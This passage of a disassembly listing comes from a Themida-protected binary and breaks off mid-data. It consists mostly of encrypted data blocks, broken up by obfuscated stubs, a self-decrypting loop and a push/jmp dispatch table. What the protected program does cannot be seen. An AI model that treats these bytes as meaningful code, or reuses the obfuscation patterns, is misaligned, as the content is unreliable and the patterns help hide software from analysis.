858A06BFh, 62ADE1F2h, 0C2AFB815h, 0D5068203h dd 1A379AF0h, 72101887h, 3D500449h, 5A34FD32h, 533DF6B5h dd 53B487BCh, 0D0A3D837h, 0AEC2583Dh, 6EBF433h, 11193047h dd 47E02C76h, 767FA05h, 49F2387Bh, 0C7803F4Ah, 44174CC3h dd 731BB4B1h, 0F29E679Ch, 5440E81Dh, 8F2C628Dh, 255AB5D6h dd 3DE5A252h, 8B964DF2h, 6D76D320h, 0E1C1C988h, 0CC500450h dd 0CBC38CC1h, 0C1CC8544h, 0B346194Eh, 898605CEh, 0C038B54h dd 6D74F8D7h, 954C3878h, 0E9A88D96h, 0F234C1E1h, 666E8549h dd 4DF23E21h, 71419962h, 0B0C304B5h, 5F6AB245h, 0C5ACB512h dd 1FD8EF06h, 9C6FA46Bh, 0F1C89BECh, 0CEB9C14Dh, 0AD4DF1C8h dd 0A3AB0AA2h, 4DF1C8E4h, 8E218C97h, 9C1672Eh, 0C414C50h dd 0BFCE4B43h, 0DD481B50h, 7897F790h, 0A7ED2B43h, 263A2390h dd 0B15E30BBh, 4CC3CB64h, 0D8414E17h, 0BAEF5AB5h, 0D2BB2612h dd 759E7119h, 8A1478E2h, 86972A95h, 927D1108h, 9BBCCBD3h dd 0B4BF6421h, 0EE05FC49h, 219BA1E6h, 44D7E264h, 0D1BE5B33h dd 0CB36093Eh, 8CF96h, 14390000h, 4ADD325Bh, 1F72FBE9h dd 9CF2BBF0h, 1B753E73h, 95F6BFF4h, 117C457Ah, 8D00C9FEh dd 0B844D82h, 8406CF04h, 0FF8D568Bh, 68D4DB10h, 3784h dd 68243489h, 6DFh, 53241489h, 0C381E389h, 4, 4EB81h, 1C870000h dd 2C895C24h, 97BD5524h, 814B7969h, 9E9AF1C5h, 5D5A55BAh dd 453D68h, 24248900h, 4240483h, 6D75685Dh, 14890000h dd 8458F24h, 57242C8Bh, 0C781E789h, 4, 8704C783h, 0FF5C243Ch dd 835A2434h, 0E6E904C4h, 5EFFFA67h, 0ADB8AC20h, 3061818h dd 0D8E0FFC5h, 0FF1BF4D9h, 0E83F203Eh, 0C234E43Eh, 6F0EDF33h dd 3B0C2250h, 720AA11Dh, 0CF49D878h, 541D9580h, 6B2D2A12h dd 5749D2DEh, 8D7E12CDh, 181A0A8Dh, 0D488BB06h, 8D897E63h dd 6122DCDh, 0C7D78B66h, 1231BD85h, 67FC06h, 85C7F900h dd 6120011h, 0 ; --------------------------------------------------------------------------- push 0 push ebx call sub_5DD45F and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5DD45F proc near ; CODE XREF: Themida_:005DD457p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Dh inc ebx push ebx retn sub_5DD45F endp ; --------------------------------------------------------------------------- db 27h dd 6C59C8B8h, 0E7031C64h, 41B5FFD4h, 6A061208h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h dd 31BBC355h, 2FB99D89h, 95FF0612h, 6122781h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 53C35141h, 0A66C33A5h dd 0FE95Eh, 15170000h, 28B2AD87h, 1E06CE35h, 15C5912Dh dd 0FF006AADh, 1229D195h, 0EBC08B06h, 215A2A1Ah, 0D15E9D00h dd 57B10B9h, 6D8F10EDh, 0B0C9DB11h, 59B3CA29h, 0E97617B5h dd 31h, 193DAF80h, 2540000h, 0Ah dup(0) dd 0C41E900h, 28680000h, 0E906181Ch, 0FFFB2D32h, 181D0F68h dd 2D28E906h, 0C368FFFBh, 0E906181Eh, 0FFFB2D1Eh, 181F8068h dd 2D14E906h, 6A68FFFBh, 0E9061820h, 0FFFB2D0Ah, 18220B68h dd 2D00E906h, 0C268FFFBh, 0E9061822h, 0FFFB2CF6h, 18240C68h dd 2CECE906h, 0B68FFFBh, 0E9061825h, 0FFFB2CE2h, 387EDA57h dd 72B80E92h, 0B0F64CCCh, 0E72D8B0Ah, 2268C041h, 7F00BEE4h dd 0BA3DE329h, 0F4761C62h, 30AE549Ah, 0CD5990D6h, 0F8287A89h dd 0FE2F8021h, 1D419715h, 0BFA9B837h, 0AFBA01ABh, 0B486196Bh dd 53D1DF52h, 1891AFF5h, 0FE478CD0h, 198327E0h, 915FA3C7h dd 7421F2D1h, 53B50B8Eh, 0AE04882Eh, 925DC95Ch, 6EDE0EAFh dd 0F36F1BDCh, 325AF759h, 0A76172B6h, 0FF69DE0Eh, 67369Dh dd 7F9D0000h, 5BBD1B99h, 6A8E3475h, 0F2139026h, 65F86221h dd 0F20145C1h, 0F8DE0DECh, 97602C8Eh, 0ADE0DECh, 1F75F587h dd 0D568BA8Ch, 0ECE6ED31h, 7AE4DE0Dh, 446CECh, 0DE0DECF3h dd 0A83B8DF7h, 0EA8C73FDh, 87CB47C3h, 0DE0DEC7Ch, 0EC885B9Fh dd 0E852DE0Dh, 0BDD739A3h, 5886EFAh, 0AD294DAFh, 895AF81Ch dd 0CFh, 419715F0h, 8D1FA0AEh, 4D1FB20Ah, 0DC5A68FBh, 0C5F694C3h dd 8AE2EB41h, 3ACD1F77h, 1258AE2Ch, 166CF0D6h, 1DB00688h dd 1F1DE94Bh, 9427E02Fh, 3E7AC016h, 332D7DDDh, 0BD1F6A0Ah dd 0E477D14Fh, 55794B5Eh, 0F2ECF311h, 89CF3921h, 587C3E6Bh dd 0F84B98DCh, 0C246DE0Eh, 0C207D96Ch, 0AEF2F658h, 0D81A5528h dd 1167E5CBh, 0FC208AAFh, 0AE419716h, 90767ADCh, 0CD73B90Fh dd 699BF44Ch, 0EFF5AD8Ch, 9C8FFECh, 70ED0000h, 0A82CD218h dd 0E6660C52h, 25A44A90h, 62E389CFh, 2082C006h, 79BF199Ah dd 0B2F850D3h, 0EE348A0Ch, 266CCA48h, 0D41F63EFh, 1621F82Eh dd 941594C5h, 60AE1E85h, 7594FCCh, 3B9D1BC1h, 7458B9F5h dd 58252A19h, 9DEDCE30h, 4E92B60Ch, 21F213C8h, 218D208Ah dd 0DE0DECD6h, 4FD0B632h, 329466F9h, 27A35718h, 665AF81Dh dd 0E1B59F05h, 8A0E4FDDh, 1980E234h, 0CCh, 41971580h, 8D1FA0AEh dd 4165B70Dh, 6A4DB4E0h, 107286E7h, 0CF6B319Dh, 2C1227E0h dd 86F456ACh, 0C268AE08h, 0C94FE244h, 3AB6DAE0h, 0E0C6EDF6h dd 2183ED27h, 0CD3BD91Dh, 970121F2h, 44763351h, 5DBB3A20h dd 0E53BBCCAh, 0CC2E8052h, 728384C8h, 56FD81Ah, 1E7AFBE1h dd 38B69CD8h, 8D0E7CDEh, 0AE3EDA33h, 0B1B4F5ADh, 8E1C4h dd 2F890600h, 69BF43E9h, 0A7FD7D23h, 0DC3CBB61h, 196FF096h dd 0B10D95D3h, 0EC92D830h, 27CD1369h, 5F054BA5h, 0A4187E1h dd 2FA93A7Eh, 0E03121F8h, 6A9415AFh, 0E032DD26h, 47AB5927h dd 0EB252275h, 0C6EA3CA6h, 0BBFD064Ah, 93FD27E0h, 0BBD82B6Fh dd 0B82227E0h, 0C8A3056h, 20A086AAh, 213A60C2h, 0AE419715h dd 7EC422A0h, 4F734960h, 0F216590Bh, 0A639A321h, 3BB4A102h dd 6C788BCFh, 1882DE0Dh, 4BAAFE0Fh, 9BFD7BE9h, 0D731AF55h dd 0E72ED844h, 7C06594Bh, 0C9492FBBh, 0A406D86Bh, 185EB836h dd 1A74F6DCh, 2ECC4AB8h, 6F0254AAh, 47E1F503h, 0D92FAE55h dd 5EB43846h, 3EBD4FD0h, 530194E6h, 0EF4CEED1h, 9614EACDh dd 0B7361C40h, 9AFCCE61h, 0D2523874h, 158043BDh, 0BC0EE201h dd 87F55729h, 0B01CAF09h, 0AAB848DAh, 0E97CD457h, 45C359DBh dd 2C7E50E3h, 46292B99h, 4ECAB6A4h, 47B7F90Ah, 28E00155h dd 0BF2F06DCh, 1C3698EAh, 0EB6ECF5Bh, 5ABC3AB6h, 1FECF5C7h dd 0D644A692h, 12B8FE58h, 920E3294h, 4733854Eh, 79DB4555h dd 93298006h, 26DD2B6Fh, 0B51F5355h, 2D11591h, 0C84B74DEh dd 0B8D6FC5Eh, 63A7CBF1h, 4D66D07Dh, 9E42D53Fh, 7DDF35B8h dd 62EF27B1h, 4E31C341h, 1E74F4DAh, 0EF2DB6FAh, 43AD4162h dd 1941BDE1h, 9A80EE63h, 5527BA1Ch, 5DF048C7h, 65C2298Bh dd 29000004h, 0E0322CB7h, 22F80727h, 6C5327E0h, 87D81FC1h dd 0D81FDE78h, 0A6CAF0B9h, 0DF92C62h, 6FB32FDEh, 0DE0DF664h dd 759AFC66h, 555CB20Bh, 0EFF2FF9Ah, 72D02h, 73D55200h dd 0AD03872Dh, 0E341C167h, 2078F79Dh, 5DB334DAh, 0F5C9D917h dd 30D61C74h, 6B1157ADh, 0A3498FE9h, 467DC325h, 2C6D76BAh dd 1C6D21F8h, 419715EBh, 3B8128AEh, 2836D317h, 0B81921F8h dd 7153CC8Bh, 3F64C6FEh, 4ACBB1D5h, 2A668CEEh, 0A6CC244h dd 75344834h, 33AF2B4Fh, 7ECE4EFh, 1A7CE6DEh, 15F9404Eh dd 5D9802D8h, 54C6F541h, 95F3B67Bh, 476BBD13h, 86897503h dd 0E90D7765h, 8DD7688h, 43A5BD90h, 5D5F4AD0h, 29A2F539h dd 0F301F90h, 0C05A6304h, 47C75588h, 3A8C5EF1h, 8D569A16h dd 4D1FAFD9h, 977D81E3h, 0D379BF19h, 4A9AF355h, 103E387Ah dd 670200Dh, 18950000h, 50D47AC0h, 8E0EB4FAh, 0CD4CF238h dd 0A8B3177h, 782A68AEh, 2167C142h, 5AA0F87Bh, 96DC32B4h dd 0CE1472F0h, 3CC70B97h, 0BE21F82Dh, 997F3C6Dh, 785EC018h dd 0EB678B31h, 0D1FE8D8Ah, 614DFBF8h, 27E09192h, 888CEE58h dd 0F2B51E44h, 0DF72DC21h, 62F553D1h, 0E87BD154h, 6AFD5BDAh dd 0EF82D85Ch, 4A2D2F1Dh, 34FB85B0h, 0DF39BAA0h, 0B012977Dh dd 681A488Ch, 76E0D81Ch, 6BA32C30h, 0C440D43Ch, 3C6B7380h dd 0AB0D77D4h, 3C6B14DFh, 2E9415D4h, 0B94A8E0Ah, 41D43C6Bh dd 3D5BCED7h, 0DF3C522Fh, 9835797Dh, 5AD224B7h, 0B52532B4h dd 549B0B5Ch, 0E9BB4EA0h, 0EA7DDB5Bh, 0C733C618h, 0CA24753Fh dd 0E678FCE2h, 0A87A0D63h, 0CDF1C356h, 24757A89h, 0B41680CAh dd 0DB8AE0E8h, 0B5139135h, 0B3D69E5Ch, 0E0CDD0EBh, 586h dd 84CA2EABh, 0BE045ADEh, 0F43A9818h, 3379CF4Eh, 6EB40C8Dh dd 0CB4C7230h, 6892F75h, 40C268AEh, 7CFAA0E6h, 119DD41Ah dd 0F81206CDh, 4273C421h, 92B60C9Dh, 3B63631h, 0C0922583h dd 3ED91DB7h, 0B41668BEh, 6C516CB0h, 0CCB221F8h, 0BC60F349h dd 8186B78h, 0B3056FDEh, 2FC22C51h, 0FF45A321h, 62F5C7E1h dd 3A80D654h, 0A2091694h, 0AE32BCB8h, 6876095Bh, 82688CEAh dd 0D144A600h, 8202E8F4h, 5DBF9124h, 7E7C43h, 880460A6h dd 665AFD09h, 180h, 0B60C9DCDh, 27804E92h, 64221F2h, 0DD931C2h dd 397DB9DEh, 0DE0DD9AAh, 2274C630h, 0B53E82FEh, 35DE0DD9h dd 8AF669CBh, 0DE0DD97Fh, 0F6624567h, 45EC1395h, 668C62Fh dd 0F338920h, 1F613DCBh, 79FAE0D8h, 58BA8C1Fh, 0DD83C933h dd 6876095Fh, 28468CEAh, 0D3173B81h, 0D2292C05h, 5ECA5DC7h dd 0CA293091h, 6E1ADD6Fh, 671CF4F2h, 2DD0h, 0C9D3700h dd 3253A0E4h, 2D9727E0h, 36C91F9Fh, 0AAEE1264h, 21F21314h dd 7DE97CE6h, 0DE0DED72h, 8F3BFC8Eh, 5AF81C13h, 0B0EFh dd 97155600h, 1FA0AE41h, 0AA2836C9h, 0E6388E10h, 35C74553h dd 0F7C95CB4h, 0A7235FA5h, 0E0329063h, 8EF05A27h, 0E036F8C2h dd 5DBB3927h, 6A79BD39h, 70D81FC9h, 0A0F67806h, 0B3D93B0Dh dd 0BD291677h, 0ED59606Dh, 0BE04A58Bh, 0A3FF569Ah, 55BFDE0Bh dd 6ECA4B31h, 50E2644Ah, 14E679CFh, 943A60C2h, 0A3018113h dd 2C4F851h, 7B7EFF9Dh, 3E58Eh, 2B8D0A00h, 65BB3FE5h, 9BF9791Fh dd 0D830AF55h, 156BEC92h, 0AD1191CFh, 0E88ED42Ch, 23C90F65h dd 5B0147A1h, 0FE357BDDh, 10A52E72h, 0D42521F8h, 16997FA3h dd 0F7592BBEh, 6AB00889h, 0AAF046C4h, 5971591h, 196FF084h dd 0CF62B486h, 7418ABFDh, 369012F8h dd 1EE5D1A3h, 0DC27E032h, 32975CA0h, 0E95327E0h, 49C73597h dd 0C6DA9EFh, 87B9EEBh, 0CAAB0D60h, 0E0B228B7h, 61E5CB27h dd 12DDA90Bh, 0F1D81FB2h, 0CB2D8B0Bh, 0DAFEC4E5h, 7A87B96h dd 9715BBDEh, 0C60AAE41h, 0DE07543Dh, 0AF0153BDh, 0B113961Ch dd 67BF498Dh, 0D33DD815h, 0A2A14C7Ah, 0E2CFD2F5h, 32Eh dd 2C72D653h, 66AC0286h, 9CE240C0h, 0DB2177F6h, 165CB435h dd 73F4CAD8h, 0AE31D71Dh, 0E86A1056h, 24A2488Eh, 0B9457CC2h dd 0F8106E75h, 0EA1B6C21h, 0BB19997Fh, 0F759AF2Dh, 1AAD0B89h dd 0F2388E0Ch, 33B3D5D4h, 0E35F83D5h, 372379FDh, 27E032ACh dd 5E62C42Eh, 0F21DCC1Ah, 11A40E21h, 0DE35AA5h, 78D04FDEh dd 157D7E5h, 82E0606Eh, 2D2F1DEFh, 0F789B04Ah, 26088430h dd 31E65AF8h, 4D000000h, 92B60C9Dh, 0F213C84Eh, 66E48A21h dd 0B49ABE10h, 77ADC32h, 37CA0263h, 0D5B740A8h, 1758A773h dd 26B8DE0Dh, 0D639B541h, 0F2155AF8h, 7C000000h, 1D419715h dd 32965DA1h, 0EA5427E0h, 8B711588h, 0D6D4F70Ah, 0FCBB398Ah dd 0E34517AAh, 99CF475h, 881B7DFBh, 549AFC7Ah, 0E0134A50h dd 1D49C727h, 0C85BB537h, 12F90AF6h, 38B827E0h, 307547DAh dd 1223B0F4h, 3DA727E0h, 85DB5DEBh, 4F930F33h, 27E01284h dd 0C321A046h, 43E90F71h, 4AD063C5h, 42A2215Fh, 0C688CCF0h dd 3421F210h, 436684CAh, 0BE195D81h, 7CD81A81h, 8708EE12h dd 33AFEB31h, 3942E4EFh, 0EE7CE6D4h, 49B7196Fh, 371770C8h dd 0B5F5AEE2h, 1E4C5B2h, 8C090000h, 0BC40E62Ch, 0FA7A2066h dd 31B0569Ch, 66E78DD3h, 1C86C40Ah, 7DC31D9Eh, 0B6FC54D7h dd 0F2388E10h, 3278CE4Ch, 0D82B6FFBh, 2221F816h, 997FA0D1h dd 5628BB19h, 0AB0586F4h, 1120A187h, 2164820Ah, 0C75AACA2h dd 0C76D93F5h, 6ACBEF49h, 0CAC1B4FDh, 0D3F95BF7h, 0B60C9DBAh dd 0AD301692h, 90F2C457h, 0F21372C4h, 3960021h, 0DED4897h dd 5116A8DEh, 0F81C29A5h, 0BC055Ah, 7F6C0000h, 0E2B38C1Eh dd 0F95BA7CEh, 0ED6F0D8Bh, 0AAE4193h, 54660AA9h, 644C2D8Ah dd 89A8B143h, 0BC2A8CDAh, 0DBC1E53Bh, 279AFC5Ch, 0E0F3E1BBh dd 52B43227h, 8EE8660Ch, 8E3475FBh, 0F060266Ah, 2CD221F2h dd 254F58AEh, 90B7BB42h, 0F26E92E4h, 0E3625AEh, 173BA5DEh dd 0E3600D3h, 0FE60CADEh, 0CDEFBAD8h, 9C8B65A9h, 0FF69D81Ah dd 1C74F5DBh, 34B49AD6h, 8D0E7CDEh, 0CBF8DA33h, 7B7EF5AEh dd 0E58Eh, 2B8D0A00h, 65BB3FE5h, 9BF9791Fh, 0D830AF55h dd 156BEC92h, 0AD1191CFh, 0E88ED42Ch, 23C90F65h, 5B0147A1h dd 0FE357BDDh, 17A52E72h, 0D42521F8h, 3C9415A3h, 74D250F6h dd 9715152Eh, 0A90AAE41h, 0C4F6A4A8h, 0A83B7F96h, 3227E0C8h dd 0A61476C8h, 4C88CE28h, 0C8478CD0h, 198327E0h, 0E2D8D1B7h dd 0D2437ABEh, 7A9B21F8h, 0DBCA8794h, 790C5ECBh, 126EEFD5h dd 90C442B0h, 802874Ch, 87D943DEh, 0BB1D9B41h, 0D830B197h dd 795F0376h, 6D399BF9h, 0C12D8B30h, 7F7D42CCh, 0CA20F001h dd 784DDFFEh, 2263AF34h, 6FC12BFDh, 0B60860E1h, 0EA4CCA70h dd 95FE0C6h, 0CF42A476h, 4FE242C1h, 2F0DF2CCh, 0D51157B1h dd 63CE1559h, 44C3FD22h, 0D3359FE4h, 0FE91E765h, 0D11h dd 37F4800h, 0E03234BFh, 0EA4CB627h, 981581F2h, 219FAD40h dd 0A42634C7h, 26A9B74Ah, 0AC2D3BCEh, 32B3C154h, 0B63543D6h dd 3DBDCB5Eh, 0C24654E7h db 6Ch, 0D9h, 22h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ebx push 77E6h mov [esp], esi push ebp mov ebp, 141D2862h add ebp, 31742C7Ch sub ebp, 1 dec ebp sub ebp, 3F793A1Eh mov ebx, ebp pop ebp push esp mov esi, [esp] add esp, 4 push eax mov eax, 8 add eax, esi push ecx mov ecx, 0 add ecx, eax mov [ecx], ebx pop ecx pop eax push dword ptr [esp] pop esi add esp, 4 mov ebx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_59027A ; --------------------------------------------------------------------------- dd 9F08C831h, 0B8F3E33Fh, 6182615h, 0E0FFC503h, 0E926DDEh dd 17CE5142h, 2C97B807h, 15287C92h, 6F88D877h, 76EA2816h dd 6BC864DFh, 60B52452h, 8A37D8h, 0CE8h, 4CF93A00h, 7CECDF50h dd 3E25AEA6h, 810F50BDh, 3, 5FDA8B66h, 0C8B70F5Eh, 7509C681h dd 81660000h, 2B4F98EBh, 0FE9D2h, 4E620000h, 0C0E39E06h dd 0B27F3979h, 84289BD2h, 3234FF5Fh, 3850Fh, 0F5800000h dd 0BF6658CAh, 0E881845Ah, 20E27F7h, 3820Fh, 0BF0F0000h dd 58E881DBh, 0E93BB0E6h, 9, 0E50FAF8Eh, 0E88B2BDFh, 55F081DEh dd 607BA814h, 5AF38B56h, 61DF8B66h, 0DE950h, 3B280000h dd 3F909495h, 7EE086AAh, 8FC85FAAh, 0CF8B1604h, 0EA836AB5h dd 0FA81F904h, 0FFFF8BD4h, 18850Fh, 2ABF0000h, 0E966A006h dd 2Eh, 776CB2A9h, 0BFE04DC0h, 84256C08h, 8D0F8F7Ah, 6 dd 8E33DF81h, 6AE95096h, 53FFFFFFh, 62011884h, 4AF89873h dd 39D258EEh, 8D8D63A2h, 61828AEh, 68D0Fh, 0BD8B0000h dd 6121249h, 2DCD8D89h, 6A0612h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 66241DC3h, 85C7DE8Bh dd 61231BDh, 6E48h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Dh, 0A3C35545h, 0F669FCA4h, 57C56BF2h, 0DDD381EEh dd 0C75F1246h, 12001185h, 6, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 28CC7F33h dd 8D9FA65Fh, 0FFEAB4EDh, 120C89B5h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 5EB3012Bh dd 0C3A7876Fh, 278195FFh, 6A0612h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 41C2D2C3h, 182DEF8Dh dd 0FF006A30h, 1229D195h, 0EBC08B06h, 430E8E4Ah, 5C881676h dd 5C2F9C2Fh, 903DE104h, 0EB6C86EEh, 0FBC7F4BDh, 19AC6320h dd 87FDF5A7h, 964F6285h, 0E8C06C35h, 35A223BDh, 0B5844E50h dd 0CBBF1954h, 46496875h, 687FAFBEh, 0A4C69E73h, 44D31BF1h dd 0EBA92081h, 0E8D4E958h, 7, 0B079599Fh, 2B91FAF9h, 122CB995h dd 8F0F5E06h, 0 ; --------------------------------------------------------------------------- add esi, 6042h jnb loc_5DE402 mov [ebp+61233E1h], ebx loc_5DE402: ; CODE XREF: Themida_:005DE3F6j push 17E5h mov [ebp+612219Dh], esi pop ecx sub [ebp+61211D1h], eax loc_5DE414: ; CODE XREF: Themida_:005DE47Cj push dword ptr [esi] add [ebp+61222D1h], ecx pop ebx mov [ebp+6120021h], eax xor ebx, 74295518h movsx edi, di xor ebx, 6C7968E9h xor edx, 1DF69483h add ebx, 3E20C094h sub [ebp+6120CB5h], esi mov [esi], ebx stc sub esi, 2 mov dx, 5218h dec esi dec esi sub ecx, 1 jnz loc_5DE476 jb loc_5DE468 mov eax, [ebp+61214A5h] loc_5DE468: ; CODE XREF: Themida_:005DE45Cj jmp loc_5DE48E ; --------------------------------------------------------------------------- db 70h, 13h, 1Dh ; --------------------------------------------------------------------------- mov cs:766037BBh, eax loc_5DE476: ; CODE XREF: Themida_:005DE456j mov eax, [ebp+6120019h] jmp loc_5DE414 ; --------------------------------------------------------------------------- db 0FEh, 70h, 2Dh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- mov word ptr [ebp+7F4471D9h], es xchg eax, edi xchg eax, ecx das loc_5DE48E: ; CODE XREF: Themida_:loc_5DE468j jmp loc_5DE539 ; --------------------------------------------------------------------------- db 8Ah dd 470E17E7h, 0F3BAF5CCh, 0D666D138h, 979FABAFh, 0E37C4DB2h dd 720095B7h, 0B5E9A9E5h, 609BB69Ch, 0A9B6F377h, 609EB794h dd 897D60D7h, 8C9EA9BDh, 0E3729EBDh, 204A95ACh, 7E9BB98Bh dd 0B99D8993h, 96AFF496h, 0B594A19Eh, 0FD91A7D6h, 0CC48D100h dd 3C33594Ah, 4D520071h, 5EF357DBh, 0BBEFB600h, 0BD899Dh dd 0B69F8995h, 97BBEFh, 0C3B1B6D0h, 527155h, 0C20DA437h dd 0E0910D3h, 0Ah dup(0) db 0 ; --------------------------------------------------------------------------- loc_5DE539: ; CODE XREF: Themida_:loc_5DE48Ej jmp loc_5DF48A ; --------------------------------------------------------------------------- push 6182C43h jmp loc_583BD9 ; --------------------------------------------------------------------------- push 6182D32h jmp loc_583BD9 ; --------------------------------------------------------------------------- push 6182DFCh jmp loc_583BD9 ; --------------------------------------------------------------------------- push 6182F34h jmp loc_583BD9 ; --------------------------------------------------------------------------- push 6182FB7h jmp loc_583BD9 ; --------------------------------------------------------------------------- push 618304Fh jmp loc_583BD9 ; --------------------------------------------------------------------------- push 6183104h jmp loc_583BD9 ; --------------------------------------------------------------------------- push 61831A6h jmp loc_583BD9 ; --------------------------------------------------------------------------- push 618323Eh jmp loc_583BD9 ; --------------------------------------------------------------------------- push 6183320h jmp loc_583BD9 ; --------------------------------------------------------------------------- push 61833D9h jmp loc_583BD9 ; --------------------------------------------------------------------------- push 618351Fh jmp loc_583BD9 ; --------------------------------------------------------------------------- push 6183791h jmp loc_583BD9 ; --------------------------------------------------------------------------- push 618386Ah jmp loc_583BD9 ; --------------------------------------------------------------------------- dw 0F82h dd 721AB300h, 0D3B7509Dh, 3956EF3Ch, 9DF089D6h, 80352572h dd 0A3F01F6Eh, 418E810Ah, 0DA27E8A8h, 75C24D41h, 43444C9Bh dd 404DF78Ah, 1C728D63h, 137B34F3h, 98A0C7FCh, 47DF5FEFh dd 0B516818Ch, 0BFA437D8h, 2A7798F6h, 1EDDC4CDh, 9FE8F007h dd 0DC47DF5Fh, 0B0DE3ED1h, 0B049F18Ch, 8EF69199h, 7A854DF1h dd 5F949FE7h, 0F18F4447h, 4E93AF4Dh, 0AECD5F37h, 238C24h dd 0AEDE0000h, 49C6CAA5h, 0AF171FDEh, 0D649F17Eh, 0D7E96CBh dd 0E64DF181h, 107017CAh, 0C524AEDFh, 10Ch, 351C7217h dd 0A8926264h, 6CA10CEEh, 8FAD2E45h, 2DB7676Eh, 343A4DFDh dd 484947E0h, 0CC5FCA45h, 83DD2BBh, 0A96628E1h, 0FD0EA174h dd 6BF7E91h, 602A8B84h, 10371CAFh, 47DA3557h, 6AB75836h dd 0E02F1E82h, 0C9464847h, 0C4CC857Ch, 0B043164Bh, 642AEF9Fh dd 38A376ABh, 886D7603h, 3119C1C9h, 798449F2h, 86B4352Ch dd 0F016706Ah, 2D360B9Eh, 60DB968Ah, 0F0511963h, 6B3E739Ch dd 71C04100h, 2CD08502h, 0DF14BBE4h, 0C645EEE2h, 0CABCC433h dd 865004EEh, 1C51BECDh, 636EB649h, 6DA2EBA4h, 7699F5AEh dd 404DE6E3h, 3ECF50CFh, 3EE3EDBEh, 0CD477h, 0AD622F00h dd 4AC5C760h, 0E92664FDh, 838C039Ch, 1FF09D36h, 1BD3E2D2h dd 0B7509D72h, 55EE3BD4h, 0EE87D43Bh, 48226FA0h, 8B96F1F9h dd 8E54DF7h, 0A01B7232h, 0DF5FEF98h, 0E834FB47h, 0D0D0E4C2h dd 75C22D38h, 285F677Eh, 9247DFD7h, 0CDF14FBh, 0C5D66974h dd 43F946C9h, 1C0A5AEh, 0F17ECDF9h, 276F3849h, 76D2CF6Dh dd 2A4277E2h, 4DF17C61h, 246B7692h, 24AEE3ACh, 0AC79h dd 1C72CB00h, 147F90FDh, 987716DFh, 5B554B63h, 2F5F47DFh dd 94FA93E0h, 0B0B9467Bh, 1B50BFCBh, 161EDD48h, 49F164C4h dd 0AADDE5FCh, 104DF16Eh, 895C917Eh, 0DE3E28F1h, 670B4DB8h dd 162169FCh, 7E636CC9h, 9BEFA8BFh, 0D96C3F74h, 4B41A79h dd 3FFE0950h, 0ACB40786h, 47E57ADBh, 0E5329DA8h, 0B75835EEh dd 957A1324h, 0BE640B16h, 0BB8227EDh, 0BE5h, 71BE5140h dd 0E5BB4D8h, 0ADFA1575h, 47947B14h, 0E330DFAEh, 612CC2F3h dd 0C3C861AEh, 2A66FF4Ch, 8FFF98E5h, 0A593380h, 0F78C8502h dd 4319F64Dh, 0A7F41B72h, 428F800Eh, 0F31C728Ch, 72151D34h dd 1147DF5Fh, 0C58E7306h, 60F946C9h, 0E7B0E52Ah, 0AB1B68A7h dd 0FD8D4699h, 770ADD12h, 0EDAC99A2h, 5AD855D6h, 0AAB50A1Eh dd 0D097B717h, 0EC749F1h, 8A5D927Dh, 53A4AFF7h, 5BDD1B73h dd 58A435Eh, 60957A14h, 0BA8F228Dh, 0EE05C4B1h, 0A36C1ED7h dd 9CEB9B6Eh, 0DF3977DEh, 2DE141D4h, 583B89D8h, 828B184Dh dd 49CCD493h, 2E417D56h, 0CC4D6423h, 248B326Bh, 0ECFD90F6h dd 87206DA2h, 8A890807h, 0C81C27E3h, 0B1B5C23h, 1B760000h dd 7E0EA7F4h, 0DFAB4491h, 454AE330h, 0A9E47DCAh, 8C291966h dd 97E42B62h, 35828DFEh, 0CE1BF49Ch, 69B65935h, 4F38408Fh dd 2C4DF78Ch, 1C72794Fh, 0F7B34F3h, 0FB886D00h, 3C4403F2h dd 49F172F2h, 0E03D8A95h, 0AA2BEAD7h, 2FFAABFCh, 83F285BDh dd 3D0837Bh, 0D897A250h, 6FA46B1Fh, 0FD24099Ch, 213AD57Ch dd 8607F8B7h, 16815489h, 0FE682383h, 6F8B47DFh, 61BB1B72h dd 5C7022BCh, 0C2000000h, 0C6CAA5AEh, 0D6411449h, 0ADF10F17h dd 0DC9549F1h, 582B60AFh, 0F7C7DC5h, 8DF8CB00h, 0D67B15CEh dd 5737AC87h, 87B083B8h, 26D6547h, 6AC0CDB5h, 89A04DF1h dd 0F16B0681h, 0D76A754Dh, 0FA47C8C6h, 0E36BEC03h, 9C3B134Ah dd 0A1BEC979h, 0B2BD4DF1h, 8D820E1Fh, 0A3F9158h, 0AEFB0000h dd 0EA01C0A5h, 22B55A31h, 0F7821FC2h, 0AAC38C49h, 77594CE4h dd 1A31F05Bh, 0ADE22D61h, 583647DAh, 0BDD16AB7h, 87901D52h dd 7FD3DB9Ah, 6E500F9Fh, 0A3EBA463h, 8861F6Ch, 3C45D207h dd 0FE7F9655h, 56545BA2h, 6BCB5E81h, 49F1A807h, 4DAC2B36h dd 0A5EBAA48h, 9E33900h, 533E0000h, 0B6D66FBCh, 17730C59h dd 7D12ABF8h, 0E1AC4592h, 0C4F1E12Eh, 5FAC632Ah, 0FD4AC5C6h dd 96E32C64h, 317E91FDh, 87000857h, 0F44DF78Eh, 5B144117h dd 0EA4ADD32h, 47DF5FA1h, 828D02BBh, 12E77A4Dh, 0AB642609h dd 7938A376h, 36E3A962h, 0BC4FBA55h, 0F781EE5Ch, 4F0E1949h dd 0F7F38h, 0DD325C6Dh, 0E827651Eh, 0CFBF5855h, 757E0B40h dd 65C9D190h, 6050099Ch, 4B69D655h, 24C9EDB2h, 9605Dh dd 39D6BB00h, 0D63953ECh, 759AF089h, 0F008F28h, 0AB6429C2h dd 0A7476E5Eh, 43DC29E6h, 